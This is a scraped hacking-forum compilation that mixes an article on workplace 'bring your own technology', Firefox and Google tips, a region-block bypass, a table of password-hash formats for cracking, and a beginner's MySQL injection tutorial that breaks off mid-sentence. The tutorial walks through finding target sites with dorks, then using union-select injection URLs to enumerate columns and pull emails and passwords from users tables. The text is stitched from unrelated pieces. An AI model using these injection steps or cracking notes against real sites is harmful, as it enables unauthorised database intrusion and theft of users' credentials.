"Bring Your Own Technology" Is In Your Future

IT leaders need to start thinking in terms of users making their own technology choices.

Consider the concept of BYOT, or Bring Your Own Technology. The premise is that instead of IT dictating the supported computing platforms and cellphones, users will make their own selection based on what best meets their needs or preferences.

As a result you may have PCs, Macs, iPads and their coming slate competitors, iPhones, Droids and Blackberrys within your environment, and you'll be expected to support all of them. Add to the myriad various models of each device and it becomes a mind boggling array of technology.

A couple of things are driving this trend. The first is the consumerization of IT. It used to be that the workplace had the best technology. A consumer couldn't afford to have the type of technology used at work. Now the best technology is within the reach of all and is coming at us in new forms and capabilities at a dizzying pace. People are logically asking why they can't use the same technologies at work that they use at home.

The second driver is cloud applications like Salesforce.com and Google Docs. These apps divorce themselves from the corporate data center and are accessible on just about any computing platform. So users logically ask, “Why do I have to use only IT's standard?”

The third driver is VDI, or virtual desktop infrastructure, which allows IT to in effect convert client-server applications into cloud-like applications. This separates the application from the hardware, allowing many hardware configurations to run the application.

While these seem like compelling arguments it hasn't gotten a lot of traction with IT departments yet. I was recently at an IT conference and this topic came up during a panel discussion. For the most part the panel members and the audience alike hadn't really done much in terms of BYOT other than a few that were experimenting the BYOT for cell phones.

Why isn't IT jumping on the BYOT bandwagon? For the same reasons that IT created those uncompromising standards for technology that everyone likes to complain about in the first place. Namely, cost control and security.

Cost control is a two-part issue. The first part is the cost of the equipment itself and how we manage it. Some users want the latest and most popular technology, swapping it out again and again. How much is the company willing to fund? Does it only fund a set amount per year?

The second part of the cost issue is perhaps more perplexing to IT. With the ever increasing pressure on IT to control costs, how do we do this when we don't control the technology choices users are making? Creating a support organization for all platforms is costly and daunting concept.

The security question isn't so much about the security of the applications itself. We've been handling this for a long time and can control who sees what data and what they can do it within the application.

However, if we open up the platform we don't necessarily know how strong it is, how the users have configured it, how secure they've made it, where else they're using it and what else they're using it for. A pretty scary scenario, indeed. With the increasing sophistication of worms, rootkit hacking, malware and zero day attacks on operating systems, IT is understandably reluctant to open this up.

While we may have valid reasons for not jumping on the BYOT bandwagon right now, we shouldn't fool ourselves into thinking this will just go away. As the consumerization effect continues to grow and technology evolves further this may become practical in some situations.

IT leaders would be well advised to monitor this situation and in the meantime take a look at expanding the standard offerings as a way of giving more choices. We should also be trying VDI to see where it makes sense.

Like a lot of other "hyped" concepts BYOT isn't the universal answer but it just might be the answer for some situations. Our job as IT leaders is to figure that out and not get caught up in the hype.

[TUT]How to get your computer to have an FBI login screen

1) Download LogonStudios (It's Vista version but if you have Windows 7 it works)

Code:
http://www.megaupload.com/?d=I8DIQ2YN

For xp users:
Code:
http://www.stardock.com/products/logonstudio/downloads.asp

2) You can download the FBI file here

Code:
http://www.wincustomize.com/explore/logonstudio_xp/9606/

Or

Code:
http://skins19.wincustomize.com/24/79/2479496/26/9859/preview-26-9859.jpg

Optional 3) The switch user button was annoying me so i downloaded this to remove it (I'm the only one on my computer so i doubt ill miss it)

Code:
http://www.megaupload.com/?d=8N0EGIW4

Start it up, then open it and it'll do the rest

For the users that want their 'switch user' button back download this:
Code:
http://www.megaupload.com/?d=AA5V5SFQ
Just run the file and it will return your button.

Google Search Tricks!

Google Calculator:
Google search can be used as a calculator. It can calculate anything from the simplest math to the most complex equation. All you need to do is just enter the math in the search box and hit enter. You can use the following functions:
+ - Add
- - Subtract
* - Multiply
/ - Divide
^ - To the Power Of
sqrt - Square Root of a Number

Dictionary Definitions:
You can define any word by entering “define:” following the word. For example define: ignoble
Google will display a list of dictionary definitions for that word.


Search for a Specific Title:
Suppose you came across a great article which you really liked but unfortunately forgot to bookmark it then you can find it easily with the help of Google provided you know the title of the article. Here’s how you do it:
Let’s say you read an article “Women talk three times as much as men” then you can search for it by typing “intitle: Women talk three times as much as men”


Google Converter:
Using this feature you can convert units like millimeter into inches, kilometers into miles, liters into ml, etc. You can do so by typing ‘25km in miles’ for converting km in to miles, ‘50litres in ml’ for converting litres into ml, and so on.


Google Currency Converter:
Google’s search has an inbuilt currency converter. It allows you to perform any currency conversion. All you need to do is just enter the conversion you’d like done into the Google search box and hit “Enter” or click the Google Search button. For instance: “1 USD in INR”


Weather Updates:
You can easily know the weather condition of a specific place. In order to find out, all you need to do is just enter the place name followed by “weather”. For ex: “london weather”


Search on a Particular File Types:
There are various kinds of files available over the net. Searching for a specific file type isn’t really easy. But using this tip you can easily search for a specific file type.
For instance if you want to search for a guide, let’s say a ‘Guide to Building a Successful IT Career’ in ppt format. You can make use of the “filetype:” function. So in order to search for the PPT version of the guide you can enter in search bar ‘Guide to Building a Successful IT Career filetype:ppt’


Search on a Particular Website:
If you want to search for something from a particular site using Google search then you can do so by using the “site:” feature. Here’s how you do it:
Let’s say you want to search for cloverfield DVD on Amazon, you can do so by typing “cloverfield DVD site:www.amazon.com”


Get the Local Time anywhere:
Wanna know what time is it in London now? You can ask Google by typing “what time is it London” in the search bar. You can also enter “time (location)” without the quotes.


Remove Unwanted Search Results:
Suppose you wanted to search a Harry potter book review but you ended up in getting reviews of the movie rather than the book. Well in this case you can make Google to exclude the movie results from the search. You can do so by adding “-movie” at the end of the term. For instance: “Harry potter Chamber of secrets -movie” This will give search results excluding the movie- The chamber of secrets.


Search for URL's:
You can even search for URLs in Google search.For instance: “Women_talk_three_times_as_much_as_men”. You can also use “.” “-” instead of “_“. The search will bring up results with the URLs containing the above words entered.


Track Flight Status:
You can also track a particular flight status. All you need to do is just enter the airline and flight number into the search box and hit enter. You’ll get the arrival and departure time of the flight right inside Google’s search results.


Search Google Groups by the Subject Line:
You need to be in the google groups search page before attempting this query; otherwise it might not work correctly. Using the “insubject:” function you can search google groups by the subject line. For instance “insubject:windows xp fast shutdown”


Find Related Sites:
Suppose you find an interesting website and you would like to find some other alternative to this site then you can do so by using “related:” function. For instance if you want to search an alternative for google.com you can do so by entering “related:www.google.com”


Find Links to a Specific URL:
You can find the webpages which have a link to a specific URL using the “link:” function. This is really great as it will help you if you own a website, you can easily find out the pages linking to a page in your site. To use it, you need to enter the whole URL after “link:”
For instance “link:http://www.cnn.com”
Well that’s it for now, hope you liked them. If you know more feel free to mention them here.


Whois Lookup Service:
You can also search for information on a particular domain name. Just type in “whois domain.com” and hit enter. You’ll get to see the creation and expiry dates of the domain.
Suggests Words, Phrases and their Results:
This is really helpful if you aren’t able to spell a particular word or you would like to know the results a particular word would contain when searched.

FireFox tricks:

More Screen Space:
Make your icons small. Go to View - Toolbars - Customize and check the “Use small icons” box.
Smart Keywords:
If there’s a search you use a lot (let’s say IMDB.com’s people search), this is an awesome tool that not many people use. Right-click on the search box, select “Add a Keyword for this search”, give the keyword a name and an easy-to-type and easy-to-remember shortcut name (let’s say “actor”) and save it. Now, when you want to do an actor search, go to Firefox’s address bar, type “actor” and the name of the actor and press return. Instant search! You can do this with any search box.
Keyboard Shortcuts:
This is where you become a real Jedi. It just takes a little while to learn these, but once you do, your browsing will be super fast. Here are some of the most common.
Spacebar - Page Down
Shift-Spacebar - Page Up
Ctrl+F - Find
Alt-N - Find Next
Ctrl+D - Bookmark Page
Ctrl+T - New Tab
Ctrl+K - Go to Search Box
Ctrl+L - Go to Address Bar
Ctrl+= - Increase Text Size
Ctrl+- - Decrease Text Size
F5 - Reload
Alt-Home - Go to Home Page
Auto Complete:
This is another keyboard shortcut, but it’s not commonly known and very useful. Go to the address bar (Control-L) and type the name of the site without the “www” or the “.com”. Let’s say “google”. Then press Control-Enter, and it will automatically fill in the “www” and the “.com” and take you there - like magic! For .net addresses, press Shift-Enter, and for .org addresses, press Control-Shift-Enter.
Tab Navigation:
Instead of using the mouse to select different tabs that you have open, use the keyboard. Here are the shortcuts.
Ctrl+Tab - Rotate Forward Among Tabs
Ctrl+Shft+Tab - Rotate to the Previous Tab
Ctrl+1-9 - Choose a number to jump to a specific Tab
Mouse Shortcuts:
Sometimes you’re already using your mouse and it’s easier to use a mouse shortcut than to go back to the keyboard. Master these cool ones.
Middle Click on Link - Opens in new Tab
Shift-Scroll Down - Previous Page
Shift-Scroll Up - Next Page
Ctrl-Scroll Up - Decrease Text Size
Ctrl-Scroll Down - In Text Size
Middle Click on a Tab - Closes Tab
Delete Items from Address Bar History:
Firefox’s ability to automatically show previous URLs you’ve visited, as you type, in the address bar’s drop-down history menu is very cool. But sometimes you just don’t want those URLs to show up (I won’t ask why). Go to the address bar (Ctrl-L), start typing an address, and the drop-down menu will appear with the URLs of pages you’ve visited with those letters in them. Use the down-arrow to go down to an address you want to delete, and press the Delete key to make it disappear.
User Chrome:
If you really want to trick out your Firefox, you’ll want to create a UserChrome.css file and customize your browser. It’s a bit complicated to get into here, but check out this tutorial.
Create a user.js file:
Another way to customize Firefox, creating a user.js file can really speed up your browsing. You’ll need to create a text file named user.js in your profile folder (see this to find out where the profile folder is) and see this example user.js file that you can modify. Created by techlifeweb.com, this example explains some of the things you can do in its comments.

about:config:
The true power user’s tool, about.config isn’t something to mess with if you don’t know what a setting does. You can get to the main configuration screen by putting about:config in the browser’s address bar. See Mozillazine’s about:config tips and screenshots.
Add a Keyword for a Bookmark:
Go to your bookmarks much faster by giving them keywords. Right-click the bookmark and then select Properties. Put a short keyword in the keyword field, save it, and now you can type that keyword in the address bar and it will go to that bookmark.
Speed Up Firefox:
If you have a broadband connection (and most of us do), you can use pipelining to speed up your page loads. This allows Firefox to load multiple things on a page at once, instead of one at a time (by default, it’s optimized for dialup connections). Here’s how.
Type “about:config” into the address bar and hit return. Type “network.http” in the filter field, and change the following settings (double-click on them to change them)
Set “network.http.pipelining” to “true”
Set “network.http.proxy.pipelining” to “true”
Set “network.http.pipelining.maxrequests” to a number like 30. This will allow it to make 30 requests at once.
Also, right-click anywhere and select New-> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0?. This value is the amount of time the browser waits before it acts on information it receives.
Limit RAM Usage:
If Firefox takes up too much memory on your computer, you can limit the amount of RAM it is allowed to us. Again, go to about:config, filter “browser.cache” and select “browser.cache.disk.capacity”. It’s set to 50000, but you can lower it, depending on how much memory you have. Try 15000 if you have between 512MB and 1GB ram.
Reduce RAM Usage further for when Firefox is Minimized:
This setting will move Firefox to your hard drive when you minimize it, taking up much less memory. And there is no noticeable difference in speed when you restore Firefox, so it’s definitely worth a go. Again, go to about:config, right-click anywhere and select New-> Boolean. Name it “config.trim_on_minimize” and set it to TRUE. You have to restart Firefox for these settings to take effect.
Move or Remove the Close Tab button:
Do you accidentally click on the close button of Firefox’s tabs? You can move them or remove them, again through about:config. Edit the preference for “browser.tabs.closeButtons”. Here are the meanings of each value.
0: Display a Close Button on the Active Tab only
1: (Default) Display Close Buttons on all Tabs
1: (Default) Display Close Buttons on all Tabs
3: Display a single Close Button at the end of the Tab Bar (Firefox 1.x Behavior)
Build your own Firefox Search Engine:
Want to power up Firefox's search box? It's easy to create your own search engine, so that you can rifle through any site from right within Firefox. Adding a search engine that has already been written, of course, is easy. Click the down arrow to the left of the search box, select "Manage Search Engines," then click the "Get more search engines" link at the bottom of the screen. From the Web site that appears, click the search engine you want to install, and you're done.
There are plenty of sites that don't have prebuilt search engines, though. No problem: It's easy to build your own search engine. First install the OpenSearchFox add-on. Then, when you're on a search site, right-click the search box and choose the Add OpenSearch plug-in. From the screen that appears (shown below), type in the name that you want to be associated with the search engine, add a description of the search engine and click Next. Then click Finish, and the site will be added as a search engine that you can choose like any other -- by clicking the arrow to the left of the search box and selecting the engine.


Note that as of this writing, OpenSearchFox doesn't work properly with Firefox v. 2.0.0.10 or 2.0.0.11, although it may be fixed as you read this. When you use the add-on in v. 2.0.0.1 or 2.0.0.11, you'll get an error message after you click Finish, although in some instances, even if you get the error message, the search engine will still be added.
Use Keywords to Speed Up your Searching:
Don't want to go to the trouble of adding your search engine -- or you can't get OpenSearchFox to work properly? Here's another way to do an instant search. When you're at a site, right-click on its search box and select "Add a Keyword for this Search." Type in a name for it and an easy-to-remember shortcut (for example, hp for the Huffington Post blog site). Then click OK. Now, to search the site, go to the Address Bar, and type in your shortcut, followed by a search term, such as hp Clinton. You'll search the site, just as if you were there. Note that on occasion, the search won't work properly, but it will on most sites.
Use Keywords to Speed Up Bookmarks:
Visiting your favorite sites using Firefox's bookmarks is far too much of a chore -- do you really want to do all that mousing around? Instead, you can use keywords to instantly jump to any site you've bookmarked. To do it, after you bookmark a site, right-click on the bookmark, select Properties, type in a short keyword (or even just a letter or two) in the keyword field and click OK. Now, to visit the site, type in the keyword in Firefox's address bar, and you'll jump straight to the site.


Put your own Graphic on the Firefox Toolbar:
If you don't like the plain background of Firefox's tool bar, don't worry -- you can put your own graphic there. Type the following into the userChrome.css file and put the graphic that you want to use, background.gif, in the same directory as userChrome.css. The graphic can be any name and any type of image file supported by Firefox.
Here's the code to use:
/* Change the toolbar graphic */
menubar, toolbox, toolbar, .tabbrowser-tabs {
background-image: url("background.gif") !important;
background-color: none !important;
}
The graphic you use will automatically be scaled to fit the Toolbar. For example, if it's small, it will be tiled.
Hack the Stop, Back and Forward Buttons:
Are you a minimalist? Does it annoy you that there's a big fat Stop button on the Firefox tool bar, even when there's nothing to stop? And how about the Forward and Back buttons -- if there's no place to go forward or back, would you like them simply to disappear?
You're in luck, because it's simple to do. Add these lines below to userChrome.css. Note that even after this trick, the buttons will appear when there's a use for them. For example, when a page is loading, the Stop button will appear, so that you can stop loading the page; it just won't appear when a page isn't loading. And the Forward and Back buttons will appear when there's something to go forward or back to.
/* Remove the Stop button when content isn't loading*/
#stop-button[disabled="true"] { display: none; }
/* Remove the Back button when there's nothing to go back to */
#back-button[disabled="true"] { display: none; }
/* Remove the Forward button when there's nothing to go forward to */
#forward-button[disabled="true"] { display: none; }

Before:
Spoiler (Click to View)

After:
Spoiler (Click to View)
Move the Sidebar to the Right:
Firefox has a sidebar for viewing your history or bookmarks. It normally displays on the left-hand side when you choose View-->Sidebar. If you prefer, though, you can have the sidebar instead appear on the right, by typing this code into the userChrome.css file.
/* Place the sidebar on the right edge of the window */
hbox#browser { direction: rtl; }
hbox#browser > vbox { direction: ltr; }


After hacking userChrome.css, you can make the Sidebar appear on the right, instead of on the left.
Change the Search Bar Width:
Don't like the width of the search bar on the upper-right hand corner of Firefox? No problem -- it's easy to change. All you need to do is specify the width you want, in pixels. Use this code in userChrome.css to tell the search bar to be 600 pixels wide, but you can, of course, use whatever size you want.
/* Make the Search box wider
(in this case 600 pixels wide) */
#search-container, #searchbar {
max-width: 600px !important;
width: 600px !important; }

Before:
Spoiler (Click to View)

After:
Spoiler (Click to View)
Remove Menu Items:
Are there menu items (for example, Help) that you never use? If so, you can easily make them disappear. To remove the Help menu, add this to userChrome.css.
/* Remove the Help menu */
menu[label="Help"] {
display: none !important; }
You can remove any of the other menus as well. Use the same syntax as above and substitute its name (File, Edit, View, History, Bookmarks or Tools). So, for example, to remove both the Help and Tools menu, you'd add these lines to userChrome.css.
/* Remove the Help and Tools menus */
menu[label="Tools"], menu[label="Help"] {
display: none !important; }

Watch Blocked videos Even if it is Blocked on your country!

Internet users face problems accessing Youtube website when different countries decide to try internet censorship and ISPs block access to Youtube You could be staying in countries like the UK and USA and may not be able to watch certain videos on Youtube. The message “This video is not available in your country” comes up. Now this is not because of any censorship or ISPs blocking access to this video but this is because the owner and poster of videos use Youtube filters to limit these videos to one or more countries.



There are many such videos like Armor for sleep – Hold the door is not available outside USA and BBC’s clip Stop calling it a Honeymoon can only be watched in the UK.
Bypass Youtube Region Filtering To Watch Blocked Youtube Videos

Youtube determine your physical location (country) from the IP address of your computer. This trick can bypass this country-specific limitation.

If the URL of Youtube Video is:
Spoiler (Click to View)

Replace /watch?v=part with /v so that your new URL is now:
Spoiler (Click to View)

Thats it! Now you can watch a blocked YouTube video in your Country | Location.

Hash Types

DES(Unix)
Example: IvS7aeT4NzQPM
Used in Linux and other similar OS.
Length: 13 characters.
Description: The first two characters are the salt (random characters; in our example the salt is the string "Iv"), then there follows the actual hash.
Notes: [1] [2]

Domain Cached Credentials
Example: Admin:b474d48cdfc4974d86ef4d24904cdd91
Used for caching passwords of Windows domain.
Length: 16 bytes.
Algorithm: MD4(MD4(Unicode($pass)).Unicode(strtolower($username)))
Note: [1]

MD5(Unix)
Example: $1$12345678$XM4P3PrKBgKNnTaqG9P0T/
Used in Linux and other similar OS.
Length: 34 characters.
Description: The hash begins with the $1$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string "12345678"), then there goes one more $ character, followed by the actual hash.
Algorithm: Actually that is a loop calling the MD5 algorithm 2000 times.
Notes: [1] [2]

MD5(APR)
Example: $apr1$12345678$auQSX8Mvzt.tdBi4y6Xgj.
Used in Linux and other similar OS.
Length: 37 characters.
Description: The hash begins with the $apr1$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string "12345678"), then there goes one more $ character, followed by the actual hash.
Algorithm: Actually that is a loop calling the MD5 algorithm 2000 times.
Notes: [1] [2]

MD5(phpBB3)
Example: $H$9123456785DAERgALpsri.D9z3ht120
Used in phpBB 3.x.x.
Length: 34 characters.
Description: The hash begins with the $H$ signature, then there goes one character (most often the number '9'), then there goes the salt (8 random characters; in our example the salt is the string "12345678"), followed by the actual hash.
Algorithm: Actually that is a loop calling the MD5 algorithm 2048 times.
Notes: [1] [2]

MD5(Wordpress)
Example: $P$B123456780BhGFYSlUqGyE6ErKErL01
Used in Wordpress.
Length: 34 characters.
Description: The hash begins with the $P$ signature, then there goes one character (most often the number 'B'), then there goes the salt (8 random characters; in our example the salt is the string "12345678"), followed by the actual hash.
Algorithm: Actually that is a loop calling the MD5 algorithm 8192 times.
Notes: [1] [2]

MySQL
Example: 606717496665bcba
Used in the old versions of MySQL.
Length: 8 bytes.
Description: The hash consists of two DWORDs, each not exceeding the value of 0x7fffffff.

MySQL5
Example: *E6CC90B878B948C35E92B003C792C46C58C4AF40
Used in the new versions of MySQL.
Length: 20 bytes.
Algorithm: SHA-1(SHA-1($pass))
Note: The hashes are to be loaded to the program without the asterisk that stands in the beginning of each hash.

RAdmin v2.x
Example: 5e32cceaafed5cc80866737dfb212d7f
Used in the application Remote Administrator v2.x.
Length: 16 bytes.
Algorithm: The password is padded with zeros to the length of 100 bytes, then that entire string is hashed with the MD5 algorithm.

MD5
Example: c4ca4238a0b923820dcc509a6f75849b
Used in phpBB v2.x, Joomla version below 1.0.13 and many other forums and CMS.
Length: 16 bytes.
Algorithm: Same as the md5() function in PHP.

md5($pass.$salt)
Example: 6f04f0d75f6870858bae14ac0b6d9f73:1234
Used in WB News, Joomla version 1.0.13 and higher.
Length: 16 bytes.
Note: [1]

md5($salt.$pass)
Example: f190ce9ac8445d249747cab7be43f7d5:12
Used in osCommerce, AEF, Gallery and other CMS.
Length: 16 bytes.
Note: [1]

md5(md5($pass))
Example: 28c8edde3d61a0411511d3b1866f0636
Used in e107, DLE, AVE, Diferior, Koobi and other CMS.
Length: 16 bytes.

md5(md5($pass).$salt)
Example: 6011527690eddca23580955c216b1fd2:wQ6
Used in vBulletin, IceBB.
Length: 16 bytes.
Notes: [1] [3] [4]

md5(md5($salt).md5($pass))
Example: 81f87275dd805aa018df8befe09fe9f8:wH6_S
Used in IPB.
Length: 16 bytes.
Notes: [1] [3]

md5(md5($salt).$pass)
Example: 816a14db44578f516cbaef25bd8d8296:1234
Used in MyBB.
Length: 16 bytes.
Note: [1]

md5($salt.$pass.$salt)
Example: a3bc9e11fddf4fef4deea11e33668eab:1234
Used in TBDev.
Length: 16 bytes.
Note: [1]

md5($salt.md5($salt.$pass))
Example: 1d715e52285e5a6b546e442792652c8a:1234
Used in DLP.
Length: 16 bytes.
Note: [1]

SHA-1
Example: 356a192b7913b04c54574d18c28d46e6395428ab
Used in many forums and CMS.
Length: 20 bytes.
Algorithm: Same as the sha1() function in PHP.

sha1(strtolower($username).$pass)
Example: Admin:6c7ca345f63f835cb353ff15bd6c5e052ec08e7a
Used in SMF.
Length: 20 bytes.
Note: [1]

sha1($salt.sha1($salt.sha1($pass)))
Example: cd37bfbf68d198d11d39a67158c0c9cddf34573b:1234
Used in Woltlab BB.
Length: 20 bytes.
Note: [1]

SHA-256(Unix)
Example: $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqiKSNK1rkTk9zYE1v0
Used in Linux and other similar OS.
Length: 55 characters.
Description: The hash begins with the $5$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string "12345678"), then there goes one more $ character, followed by the actual hash.
Algorithm: Actually that is a loop calling the SHA-256 algorithm 5000 times.
Notes: [1] [2]

SHA-512(Unix)
Example: $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEmFNLlq6Ik9X3reMXY3doKEuxrcDohKUx0Oxf44aeTIxGEjssvtT1aKyZHjs
Used in Linux and other similar OS.
Length: 98 characters.
Description: The hash begins with the $6$ signature, then there goes the salt (up to 8 random characters; in our example the salt is the string "12345678"), then there goes one more $ character, followed by the actual hash.
Algorithm: Actually that is a loop calling the SHA-512 algorithm 5000 times.
Notes: [1] [2]

-------------------------------------------------
Notes:

[1] Since the hashing requires not only a password but also a salt (or a user name), which is unique for each user, the attack speed for such hashes will decline proportionally to their count (for example, attacking 100 hashes will go 100 times slower than attacking one hash).

[2] The hash is to be loaded to the program in full, to the "Hash" column - the program will automatically extract the salt and other required data from it.

[3] The ':' character can be used as salt; however, since it is used by default for separating hash and salt in PasswordsPro, it is recommended that you use a different character for separating fields; e.g., space.

[4] Salt can contain special characters - single or double quotes, as well as backslash, which are preceded (after obtaining dumps from MySQL databases) by an additional backslash, which is to be removed manually. For example, the salt to be loaded to the program would be a'4 instead of a\'4, as well as the salts a"4 instead of a\"4 and a\4 instead of a\\4.
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Ultimate MySQL Injection Tutorial For Beginners

written this tutorial is to be completely user-friendly to newcomers to help project the

skills of being able to execute SQL injection. The tutorial is set into sections so it's

easy to find what you're looking for. I'll cover pretty much everything I know, so have a

nice read, have fun and most of all be safe!
Please note, words which are enclosed in (brackets) are en abreviation of the correct term

used to describe an action.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Tutorial written by: #BlackHat aka iSQL
Date written: 25/02/2010
Release: Public
Skill Level: Beginner
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


Contents
1A: Understanding SQL Injection
1B: Tricks & Tools
1C: Requirements
------
2A: Searching for Targets
2B: Testing Targets for Vulnerabilities
2C: Finding Columns
2D: Finding Vulnerable Columns
------
3A: Obtaining the SQL version
3B: Version 4
- 1. Obtaining Tables & Columns
- 2. Commands
3C: Version 5
- 1. Obtaining Table Names
- 2. Obtaining Column Names from Tables ------------------------------------------------------------------------
1A: Understanding SQL Injection
SQL Injection is one of todays most powerful methods of system penetration, using error

based queries one is able to extract data (tables & columns) from a vulnerable system,

namely the (database).

1B: Tricks & Tips
Beginners tend to believe that using tools created by advanced SQL injection artists are the

best way around things, please believe that they aren't, everything seems nice and easy with

tools such as (BSQLi and SQLi Helper) which they are, but the users posting the download

links for both applications around the world on hacking forums have been known to very

securely encrypt these tools with malicious files or backdoors etc, I've experienced this

first hand when I first started out. Learning everything manually will help you understand

the environment you are attempting to penetrate, whilst experimenting with commands you have

learnt will only help you become more advanced in SQL injection, as for tricks, there are

many articles named (Cheat Sheets) because this is what they are, purposely created for SQL

injectors to use commands which aren't normally spoken of or known about, Samples are

provided to allow the reader to get basic idea of a potential attack.

1C: Requirements:
When I first started SQL injection personally for me it wasn't to hard to get on the ball

and learn quickly, this is because I had previous knowledge of web-scripts, how the internet

works, and the ability to read and understand complicated tutorials. I believe it's a whole

lot easier if you know the basics of a computer system and how the internet works.
To learn you must be able to read and understand the tutorial or article provided and take

on board everything you see. When I was a beginner I found it easier to attack whilst

reading, do everything in stages, don't read the whole tutorial and go off and expect to

inject off the top of your head. ------------------------------------------------------------------------
2A Searching for Targets
Ahh, the beauty of searching for targets is a lot easier than it sounds, the most common

method of searching is (Dorks). Dorks are an input query into a search engine (Google) which

attempt to find websites with the given texxt provided in the dork itself. So navigate to

Google and copy the following into the search box:
inurl:"products.php?prodID="
This search will return websites affiliated with Google with "products.php?prodID=" within

the URL.
You can find a wide range of dorks to use by searching the forum.
I advise you to create your own dorks, be original, but at the same time unique, think of

something to use that not many people would have already searched and tested.
An example of a dork I would make up:
inurl:"/shop/index.php?item_id=" & ".co.uk"
So using your own dorks isn't a bad thing at all, sometimes your dorks wont work, nevermind

even I get it..

------------------------------------------------------------------------
2B: Testing Targets for Vulnerabilities
It's important that this part's done well. I'll explain this as simply as I can.
After opening a URL found in one of your dork results on Google you now need to test the

site if it's vulnerable to SQL injection.

Example:
http://www.site.com/index.php?Client_id=23

To test, just simply add an asterik ' at the end of the URL

Example:
http://www.site.com/index.php?Client_id=23'

How to tell if the sites vulnerable:
- Missing text, images, spaces or scripts from the original page.
- Any kind of typical SQL error (fetch_array) etc.

So if the website you're testing produces any of the above then the site is unfortunately

vulnerable, which is where the fun starts.

------------------------------------------------------------------------
2C: Finding Columns & the Vulnerable Columns
As I noted in the first section of the tutorial I advise you do pretty much everything

manually with SQL injection, so by using the following commands (providing they're followed

correctly) you will begin to see results in no time :D

Example:
http://www.site.com/index.php?Client_id=23'
^^^^^^^^^^^^^^^^^^^^^^^^
IF THE SITE IS VULNERABLE
Refer to the following to checking how many columns there are.
(order+by) the order by function tells the database to order columns by an integer (digit

e.g. 1 or 2), no errors returned means the column is there, if there's an error returned the

column isnt there

wxw.site.com/index.php?Client_id=23+order+by+1 < No Error wxw.site.com/index.php?Client_id=23+order+by+2 < No Error wxw.site.com/index.php?Client_id=23+order+by+3 < No Error wxw.site.com/index.php?Client_id=23+order+by+4 < ERROR From using order+by+ command and incremating the number each time until the page displays an error is the easiest method to find vulnerable columns, so from the examples above when attempting to order the columns by 4 there's an error, and so column 4 doesn't exist, so there's 3 columns. ------------------------------------------------------------------------ 2D: Finding Vulnerable Columns Ok so let's say we were working on the site I used above, which has 3 columns. We now need to find out which of those three coluns are vulnerable. Vulnerable columns allow us to submit commands and queries to the SQL database through the URL. (union+select) Selects all columns provided in the URL and returns the value of the vulnerable column e.g. 2. Example: wxw.site.com/index.php?Client_id=23+union+select+1,2,3 The site should refresh, not with an error but with some content missing and a number is displayed on the page, either 1, 2 or 3 (as we selected the three columns in the above URL to test for column vulnerability). Sometimes the page will return and look completely normal, which isn't a problem. Some sites you are required to null the value you're injecting into. In simpler terms, the =23 you see in the above URL after Client_id must be nulled in order to return with the vulnerable column. So we simply put a hyphen (minus sign) before the 23 like so: -23 So the URL should now look something like this: wxw.site.com/index.php?Client_id=-23+union+select+1,2,3 Now that should work, let's say the page refreshes and displays a 2 on the page, thus 2 being the vulnerable column for us to inject into. ------------------------------------------------------------------------ 3A: Obtaining the SQL Verison Easier said than done, using the information found in the above sections e.g. amount of columns and the vulnerable column. We now use a command (@@version) and in some cases a series of commands to determine what the SQL version is on the current site. Version 4 or version 5. See the example below to view what a URL should look like when the version command has been inserted into the URL replacing the number 2 as 2 is the vulnerable column on the example site. Example: wxw.site.com/index.php?Client_id=-23+union+select+1,@@version,3 What you need to look for is a series of numbers e.g: 5.0.89-community 4.0.45-log If the above failes and the site just returns an error or displays normally then we need to use the convert function in order for the server to understand the command, don't worry though this is usually the only thing you need to convert and it's on a rare occasion where this is the case. So, if the example site returned an error we need to replace @@version with the convert() function: convert(@@version using latin1) So the example site will now look like this: wxw.site.com/index.php?Client_id=-23+union+select+1,convert(@@version using latin1),3 Now if the page still decides to not return the error then the query must be hexxed: unhex(hex(@@version)) So the example site will now look like this: wxw.site.com/index.php?Client_id=-23+union+select+1,unhex(hex(@@version)),3 Depending on which version the SQL server it is, whether it be 4, or 5 the queries for obtaining data from both versions are different, version 4 and 5 tables are explained below ------------------------------------------------------------------------ 3B Version 4 - 1. Obtaining Tables and Columns You will notice that obtaining tables and columns from version 4 MySQL servers is a little more time consuming and confusing at times as we have to guess pretty much everyhing. Because version 5 is more up to date and has information_schema which the database and tables are stored in, MySQL version 4 doesn't. Providing the MySQL version of the website is 4, we must do the following. So, back to the example URL: wxw.site.com/index.php?Client_id=23+union+select+1,@@version,3 We must now go back to the original URL which is: wxw.site.com/index.php?Client_id=23+union+select+1,2,3 This is where the guessing begins, we need to guess table names. How can we tell if the table name I guess exists? The same as where we tested for the amount of columns. If no error is produced then the table guessed exists. Is there is an error then the table guessed doesn't exist, so just try another. So we use the (from) command followed by the table name you are looking to see exists. Example: wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin Usual tables most people search for consist of obtaining user data, so again, be creative just like with the dorks, common table names I use: tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer, customers, orders, phpbb_users, phpbb_admins So if we tried the following as an example: wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin ^^^ Error wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from user ^^^ Error wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from users ^^^^^ No Error Now which table do you think exists..? :D The table users exists We are now required to guess column names from the existing table. So thinking logically, which labelled columns within this table would represent data? Columns such as: first_name, last_name, email, username, password, pass, user_id ^^^^^^^^^^^^^^^^^^^^^^^^^ Typical columns found in the users table. So we now must think back to which column is vulnerable (in this case 2) and so we'll use the URL and replace 2 with the column name you are attempting to see if exists in the users table. Let's try a few of the typicals listed above: wxw.site.com/index.php?Client_id=23+union+select+1,f_name,3 from users ^^^^ Error wxw.site.com/index.php?Client_id=23+union+select+1,l_name,3 from users ^^^ Error wxw.site.com/index.php?Client_id=23+union+select+1,address1,3 from users ^^^ Error wxw.site.com/index.php?Client_id=23+union+select+1,email,3 from users ^^^^^ No Error From the above we can clearly see that the column email exists within the table users, the page should return displaying data (most probably an email address) or the data you are extracting i.e if you pulled password from users and the column exists the first password within that column will be displayed on screen. 2. Commands From here we will be able to use certain commands to determine the amount of data we pull from the 